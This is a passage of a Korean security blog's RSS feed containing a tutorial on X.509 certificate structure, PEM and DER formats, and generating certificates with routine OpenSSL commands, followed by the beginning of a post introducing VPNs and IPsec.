&lt;p data-ke-size=&quot;size16&quot;&gt;X.509 인증서는 공개키 기반 구조(PKI, Public Key Infrastructure)에서 사용되는 표준화된 인증서 형식입니다. 주로 SSL/TLS, 전자서명, 암호화 이메일, VPN 등에서 &lt;b&gt;신원 확인&lt;/b&gt;과 &lt;b&gt;데이터 암호화&lt;/b&gt;를 위해 사용됩니다.&lt;br /&gt;&lt;br /&gt;핵심&amp;nbsp;목적은:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공개키가 특정 엔티티(예: 사용자, 서버, 조직)에 속함을 증명&lt;/li&gt;
&lt;li&gt;제3자(CA, 인증기관)를 통해 그 신뢰성을 보증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 클라이언트가 서버에 연결할 때, 서버가 제공하는 X.509 인증서를 통해 서버의 신원을 확인하고, 교환하는 공개키가 신뢰할 수 있는지를 검증합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;X.509 인증서의 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증서는 ASN.1 (Abstract Syntax Notation One)로 정의되고 DER 또는 PEM 형식으로 인코딩됩니다. 주요 필드는 아래와 같습니다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 기본 필드&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 119px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;필드명&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;Version&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;인증서 버전(v1, v2, v3)&lt;br /&gt;현재 v3가 표준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;Serial Number&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;CA가 발생한 고유 인증서 일련번호&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;Signature Algorithm&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;인증서 서명에 사용된 알고리즘&lt;br /&gt;(예 : SHA256withRSA)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;Issuer&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;인증서를 발행한 기관(CA)이름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;Validity Period&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;인증서의 유효기간&lt;br /&gt;(Not Before ~ Not After)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;Subject&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;인증서 소유자&lt;br /&gt;(예: 도메인, 사용자, 조직)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;Subject Public Key Info&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;공개키 정보 및 알고리즘&lt;br /&gt;(예: RSA, ECDSA)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;&lt;b&gt;2. 서명 필드&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;필드명&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Signature&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;CA가 인증서 내용에 대해 생성한 디지털 서명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Signature Algorithm&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;서명 생성에 사용된 알고리즘(위와 동일)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;이&amp;nbsp;서명을&amp;nbsp;통해&amp;nbsp;클라이언트는&amp;nbsp;인증서의&amp;nbsp;위조&amp;nbsp;여부를&amp;nbsp;검증할&amp;nbsp;수&amp;nbsp;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. &amp;nbsp;확장 필드 (v3 Extensions)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;버전&amp;nbsp;3에서&amp;nbsp;확장&amp;nbsp;필드를&amp;nbsp;통해&amp;nbsp;다양한&amp;nbsp;기능이&amp;nbsp;추가됩니다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 183px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 10px;&quot;&gt;&lt;b&gt;확장 필드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 10px;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 35px;&quot;&gt;&lt;b&gt;Key Usage&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 35px;&quot;&gt;공개키 사용 목적&lt;br /&gt;(예 : Digital Signature, Key Encipherment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 35px;&quot;&gt;&lt;b&gt;Extended Key Usage&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 35px;&quot;&gt;추가용도&lt;br /&gt;(예: TLS 서버 인증, 클라이언트인증, 코드 서명)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 35px;&quot;&gt;&lt;b&gt;Subject Alternative Name(SAN)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 35px;&quot;&gt;추가 식별자&lt;br /&gt;(예: 여러 도메인 이름, 이메일, IP 주소)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;b&gt;Basic Constraints&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;CA 여부(CA인증서인지 여부와 경로 길이 제한)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;b&gt;CRL Distribution Point&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;인증서 폐기 목록(CRL)위치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;b&gt;Authority Key Identifier&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;상위 CA의 키 식별자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;b&gt;Subject Key Identifier&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;이 인증서의 키 식별자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;CRL(Certificate Revocation List)란?&lt;br /&gt;CRL은 더 이상 유효하지 않은 인증서 목록입니다.&lt;br /&gt;CA(인증기관)가 발급한 인증서 중에서 특정 이유로 폐기(revoke)된 것들을 기록하고,&lt;br /&gt;신뢰할 수 없는 인증서를 식별하기 위해 배포하는 리스트입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;인증서 예시 (PEM 형식)&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1746655649094&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAKP3...
-----END CERTIFICATE-----&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;이&amp;nbsp;파일을&amp;nbsp;base64로&amp;nbsp;디코딩하면&amp;nbsp;ASN.1로&amp;nbsp;인코딩된&amp;nbsp;바이너리&amp;nbsp;데이터가&amp;nbsp;나오고,&amp;nbsp;각&amp;nbsp;필드가&amp;nbsp;순서대로&amp;nbsp;들어&amp;nbsp;있습니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1746656243300&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            12:34:56:78:9a:bc:de:f0:12:34:56:78:9a:bc:de:f0
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Example CA, CN=Example Root CA
        Validity
            Not Before: May  1 00:00:00 2025 GMT
            Not After : May  1 23:59:59 2026 GMT
        Subject: C=US, O=Example Corp, CN=www.example.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:b1:23:45:67:89:ab:cd:ef:01:23:45:67:89:ab:
                    cd:ef:01:23:45:67:89:ab:cd:ef:01:23:45:67:89:
                    ab:cd:ef:01:23:45:67:89:ab:cd:ef:01:23:45:67:
                    89:ab:cd:ef:01:23:45:67:89:ab:cd:ef:01:23:45:
                    ...
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Basic Constraints:
                CA:FALSE
            X509v3 Subject Alternative Name:
                DNS:www.example.com, DNS:example.com
            Authority Information Access:
                OCSP - URI:http://ocsp.exampleca.com
                CA Issuers - URI:http://crt.exampleca.com/ExampleCA.crt
            X509v3 Authority Key Identifier:
                keyid:12:34:56:78:9A:BC:DE:F0:12:34:56:78:9A:BC:DE:F0
            X509v3 Subject Key Identifier:
                12:34:56:78:9A:BC:DE:F0:12:34:56:78:9A:BC:DE:F0
    Signature Algorithm: sha256WithRSAEncryption
         a1:b2:c3:d4:e5:f6:01:23:45:67:89:ab:cd:ef:01:23:
         45:67:89:ab:cd:ef:01:23:45:67:89:ab:cd:ef:01:23:
         ...&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;PEM과 DER 형식 인증서의 차이&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;&lt;b&gt;구분&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.627908%;&quot;&gt;&lt;b&gt;PEM&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 39.88372%;&quot;&gt;&lt;b&gt;DER&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;&lt;b&gt;형식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.627908%;&quot;&gt;Base64로 인코딩된 텍스트 + 헤더/푸터 포함&lt;/td&gt;
&lt;td style=&quot;width: 39.88372%;&quot;&gt;바이너리(순수 ASN.1 인코딩)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;&lt;b&gt;확장자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.627908%;&quot;&gt;.pem, .crt, .cer&lt;/td&gt;
&lt;td style=&quot;width: 39.88372%;&quot;&gt;.der, &amp;nbsp;.cer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;&lt;b&gt;사용 예&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.627908%;&quot;&gt;주로 웹서버, 텍스트 기반 시스템&lt;/td&gt;
&lt;td style=&quot;width: 39.88372%;&quot;&gt;주로 Windows, Java 시스템, 바이너리 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;&lt;b&gt;내용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.627908%;&quot;&gt;Base64 디코딩하면 DER 내용과 동일&lt;/td&gt;
&lt;td style=&quot;width: 39.88372%;&quot;&gt;DER 바이너리 자체&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;br /&gt;&lt;b&gt;X.509 신뢰 체계&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;루트 CA &amp;rarr; 중간 CA &amp;rarr; 최종 엔티티 인증서&lt;/b&gt;로 이어지는 &lt;b&gt;체인&lt;/b&gt;이 있습니다.&lt;/li&gt;
&lt;li&gt;클라이언트(예: 브라우저)는 루트 CA의 공개키를 신뢰하고, 그로부터 서명된 하위 인증서를 따라 내려오며 최종 서버 인증서까지 신뢰성을 검증합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OpenSSL을 사용한 인증서 생성 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 개인키 생성&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1746656013349&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl genrsa -out server.key 2048&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. CSR(Certificate Signing Request) 생성&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1746656050112&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl req -new -key server.key -out server.csr&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행하면 여러 질문이 발생합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Country Name(국가코드, 예: KR)&lt;/li&gt;
&lt;li&gt;State or Province Name(도/시)&lt;/li&gt;
&lt;li&gt;Locality Name(구/군)&lt;/li&gt;
&lt;li&gt;Organization Name(회사명)&lt;/li&gt;
&lt;li&gt;Organizational Unit Name(부서)&lt;/li&gt;
&lt;li&gt;Common Name(도메인 명, 예: www.example.com)&lt;/li&gt;
&lt;li&gt;Email Address&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 인증서 발급&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1746656146270&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3-1 (선택) CA를 통한 서명&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CA용 개인 키 및 자체 서명 루트 인증서 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1746656181624&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl genrsa -out ca.key 4096
openssl req -x509 -new -nodes -key ca.key -sha256 -days 3650 -out ca.crt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CA가 CSR을 서명&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1746656189048&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 365 -sha256&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 인증서 확인(PEM)&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1746656274034&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl x509 -in server.crt -outform DER -out server.der&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4-1 DER 인증서인 경우&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1746656302967&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl x509 -in server.der -inform DER -text -noout&lt;/code&gt;&lt;/pre&gt;</description>
      <category>정보보호</category>
      <category>openssl</category>
      <category>x.509</category>
      <category>인증서</category>
      <category>인증서생성방법</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/36</guid>
      <comments>https://defcon.tistory.com/36#entry36comment</comments>
      <pubDate>Thu, 8 May 2025 07:22:45 +0900</pubDate>
    </item>
    <item>
      <title>가상사설망 VPN의 종류 IPsecVPN, SSLVPN</title>
      <link>https://defcon.tistory.com/35</link>
      <description>&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;VPN (Virtual Private Network)란?&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;VPN은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;가상 사설망&lt;/b&gt;이라고 부르며, 공용 네트워크(예: 인터넷)를 통해 사설 네트워크처럼 안전하게 데이터를 주고받도록 만드는 기술입니다.&lt;br /&gt;쉽게 말하면, 외부에서 회사 내부망에 접속하거나, 공공 Wi-Fi에서도 암호화된 안전한 연결을 만들 때 쓰입니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;VPN의 주요 기능&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;암호화 (Encryption):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;데이터가 중간에서 도청당해도 해독할 수 없도록 암호화합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인증 (Authentication):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;접속자가 신뢰할 수 있는지 확인합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;무결성 (Integrity):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;데이터가 전송 중에 변조되지 않았는지 확인합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;터널링 (Tunneling):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;데이터를 보낼 때 하나의 &amp;lsquo;터널&amp;rsquo; 안으로 감싸서 전송합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;VPN의 기본 동작 원리&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;사용자&lt;/b&gt;가 VPN 클라이언트를 실행해 VPN 서버에 연결 요청.&lt;/li&gt;
&lt;li&gt;서버가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인증&lt;/b&gt;을 거쳐 연결 승인.&lt;/li&gt;
&lt;li&gt;연결 후, 사용자 트래픽은 VPN 서버를 거쳐 목적지로 전송.&lt;/li&gt;
&lt;li&gt;이때 모든 데이터는 암호화되어 안전하게 오갑니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;VPN의 종류&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;크게 두 가지 주요 방식이 많이 쓰입니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;IPsec VPN&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SSL VPN&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;IPsec VPN (Internet Protocol Security VPN)&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;네트워크 계층(Layer 3)에서 작동.&lt;/li&gt;
&lt;li&gt;주로 사무실 간의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;사이트 간 연결(Site-to-Site VPN)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;또는 개인 사용자의 **원격 접속(Remote Access VPN)**에 사용.&lt;/li&gt;
&lt;li&gt;표준화된 IPsec 프로토콜을 사용해 데이터 암호화, 인증, 무결성 보호.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;작동 방식:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;IP 패킷 자체를 암호화.&lt;/li&gt;
&lt;li&gt;전용 클라이언트 프로그램 필요 (OS 내장 기능으로 연결 가능할 때도 있음).&lt;/li&gt;
&lt;li&gt;VPN 터널을 만들기 위해 IPsec의 여러 프로토콜 (IKE, ESP, AH 등)을 사용.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;장점:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빠르고 안정적.&lt;/li&gt;
&lt;li&gt;거의 모든 IP 기반 애플리케이션 지원.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;단점:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;방화벽이나 NAT 환경에서 설정이 복잡할 수 있음.&lt;/li&gt;
&lt;li&gt;클라이언트 설정 필요.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
